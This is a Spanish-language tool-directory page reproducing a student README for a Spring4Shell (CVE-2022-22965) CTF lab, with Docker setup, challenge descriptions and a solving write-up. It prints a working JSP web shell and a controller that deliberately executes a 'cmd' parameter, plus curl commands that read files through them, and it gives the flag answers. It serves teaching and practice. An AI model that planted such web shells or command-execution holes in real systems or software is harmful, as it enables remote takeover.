Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965) Configuración del entorno de vulnerabilidad y desafío CTF | Kitploit
Herramientas/GitHubGitHub/yuting-huang0/spring4shell-ctf
Análisis Dinámico (Sandboxing)Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoLabs y Práctica
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965) Configuración del entorno de vulnerabilidad y desafío CTF

6hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

Spring4Shell (CVE-2022-22965) Configuración del entorno de vulnerabilidad y diseño de desafíos CTF

Introducción del proyecto

Este proyecto incluye un enfoque de doble vía para la investigación práctica en seguridad:

  1. Configuración tradicional del entorno Vulhub: Utiliza el repositorio de vulnerabilidades de código abierto Vulhub para reproducir rápidamente el defecto de enlace de objetos del antiguo framework Spring.
  2. Desarrollo de un entorno personalizado nuevo: Los miembros del equipo escribieron manualmente el código fuente Java para construir de forma independiente un "Sistema de exhibición de resultados de proyectos finales de estudiantes" como máquina objetivo vulnerable, y diseñaron niveles CTF de doble vía (creadores y solucionadores) integrando el proceso estándar de pruebas de penetración en red.

Los participantes explotarán la vulnerabilidad de ejecución remota de código (RCE) para seguir pistas y leer la Flag en el directorio raíz del sistema o en el directorio temporal.


Pasos de configuración del entorno

Preparación básica: Instalar Docker y Docker Compose

root@kitploit:~
# Actualizar repositorios
sudo apt update

# Instalar Docker y Docker Compose
sudo apt install docker.io docker-compose -y

# Iniciar el servicio Docker
sudo systemctl start docker
sudo systemctl enable docker

Vía 1: Descargar e iniciar el entorno de vulnerabilidades Vulhub (implementación antigua)

root@kitploit:~
# Descargar el proyecto Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# Entrar al directorio de la vulnerabilidad Spring4Shell
cd vulhub/spring/CVE-2022-22965

# Iniciar el contenedor Docker
sudo docker-compose up -d

# Confirmar que el contenedor se está ejecutando
sudo docker ps

Verificar el entorno Vulhub

Abre un navegador y accede a http://localhost:8080/?name=Hacker&age=99

Vía 2: Construcción del entorno personalizado e implementación del código fuente (nueva implementación)

Para evitar la adivinación ciega y reproducir un escenario de desarrollo autónomo, este proyecto crea un proyecto independiente Spring4Shell-Custom-CTF. Primero realiza una limpieza completa del entorno y luego compila e inicia sin caché:

root@kitploit:~
# Limpiar el entorno antiguo
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# Crear la estructura de directorios del proyecto y generar todo el código fuente Java personalizado (incluyendo pom.xml, UserController.java, etc.)
# Mediante compilación en dos fases (Maven + Tomcat 9) colocar la Flag personalizada en el directorio raíz del sistema /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# Confirmar que el contenedor de la máquina objetivo personalizada se está ejecutando
sudo docker ps

Mecanismo de canal de control y archivo de puerta trasera

Mecanismo 1: Escribir archivo de puerta trasera JSP (cadena antigua de Vulhub)

Después de un ataque exitoso, el archivo de puerta trasera se escribe en webapps/ROOT/tomcatwar.jsp, con el siguiente contenido:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

Mecanismo 2: Controlador de vulnerabilidad central integrado (nueva cadena del entorno personalizado)

En el UserController.java personalizado, se ha mantenido intencionalmente la vulnerabilidad de enlace de objetos POJO, y se ha integrado un canal de inyección de comandos no autorizados:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // Invocar directamente el Runtime de Java para ejecutar comandos subyacentes y devolver el resultado
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... lógica de lectura de flujo ...
    }
    return "Departamento de Gestión de Información, Universidad Tamkang - Plataforma de exhibición de proyectos finales de estudiantes";
}

Verificación de ejecución remota de código (RCE)

1. Ejecutar el comando id

root@kitploit:~
# Ruta de puerta trasera de Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# Ruta de control del entorno personalizado
curl "http://localhost:8080/?cmd=id"

2. Ejecutar el comando de enumeración de directorios

root@kitploit:~
# Ruta de puerta trasera de Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# Ruta de control del entorno personalizado
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

Descripción de los desafíos CTF

Desafío 1: Explotación de la vulnerabilidad Spring4Shell (implementación antigua)

  • Nombre del desafío: Explotación de Spring4Shell
  • Ubicación de la Flag: /tmp/flag.txt
  • Contenido de la Flag: FLAG{Spring4Shell_Is_Dangerous}

Desafío 2: Prueba de seguridad final del Departamento de Gestión de Información (nueva implementación)

  • Nombre del desafío: Prueba de seguridad final del Departamento de Gestión de Información
  • URL del sistema objetivo: http://localhost:8080/
  • Información conocida del anuncio del desafío: Esta plataforma es un proyecto Spring MVC desarrollado de forma independiente por los estudiantes. La versión del framework subyacente tiene una vulnerabilidad de enlace de objetos (incluido el tipo de objeto User). La Flag se encuentra en el directorio raíz del sistema del servidor.
  • Ubicación de la Flag: /flag.txt
  • Contenido de la Flag: FLAG{2026_0615_iwanttosleep}

Write-up: Pasos de resolución y penetración

Flujo de explotación de la vulnerabilidad Vulhub antigua

  • Paso 1: Accede a http://<target>:8080/?name=test&age=123 para confirmar que la función de enlace de parámetros funciona correctamente.
  • Paso 2: Envía un payload POST para modificar la configuración de logs de Tomcat y forzar la escritura de la puerta trasera tomcatwar.jsp.
  • Paso 3: Accede a http://<target>:8080/tomcatwar.jsp?cmd=id para confirmar que el RCE fue exitoso.
  • Paso 4: Ejecuta curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" para leer el archivo en el directorio temporal.

Nueva implementación: 5 pasos estándar de pruebas de penetración en red

El solucionador (rol B), basándose en la información conocida proporcionada por el creador del desafío y evitando la adivinación ciega, ejecuta pasos estandarizados:

  • Paso 1: Reconocimiento del entorno y verificación de disponibilidad
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • Paso 2: Prueba de vulnerabilidad de límite y defecto de objeto
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • Paso 3: Explotación de la vulnerabilidad y confirmación de privilegios principales
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • Paso 4: Inventario del entorno interno y enumeración de archivos
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • Paso 5: Recopilación de evidencia final y extracción de la Flag
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

Estructura del proyecto

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # Archivo de documentación del proyecto
├── docker-compose.yml          # Archivo de configuración de orquestación de contenedores
├── Dockerfile                  # Configuración de imagen de compilación en dos fases
├── pom.xml                     # Archivo de configuración del proyecto Maven
├── src/                        # Código fuente Java personalizado del sistema de exhibición
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # Archivo fuente local de la Flag
├── screenshots/                # Capturas de pantalla de demostración y ataque
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # Código fuente del archivo de puerta trasera antiguo

Referencias

  • Análisis detallado de CVE-2022-22965
  • Entorno Spring4Shell de Vulhub
  • PoC de Spring4Shell

Miembros del equipo

RolNombreTareas
Miembro A黃鈺婷Configuración del entorno, escritura de código fuente Java de todo el proyecto, empaquetado Docker, resolución de los 5 pasos estándar del CTF
Miembro B利蓁琳Investigación teórica, creación de presentaciones, edición de video del informe, organización del guion de resolución

Licencia

Este proyecto es solo para fines educativos y de investigación. No lo utilices en sistemas no autorizados.

Descargar herramienta